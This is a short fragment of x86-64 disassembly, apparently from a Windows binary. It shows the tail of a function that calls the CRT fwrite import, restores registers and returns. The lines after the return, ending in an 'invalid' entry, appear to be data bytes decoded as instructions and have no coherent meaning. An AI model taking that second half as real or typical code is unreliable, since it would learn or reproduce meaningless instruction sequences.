call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
adc eax, 0xe018113a
out 0xe3, eax
imul ebx, dword [rdx - 0x6b], 0xffffff87
movabs eax, dword [0xad2a43c77148dc08]
pop rax
or dword [rsi + riz*8 - 0x4f], esp
adc eax, 0x2940f4e6
sbb eax, 0xcdc211e6
pop rdi
invalid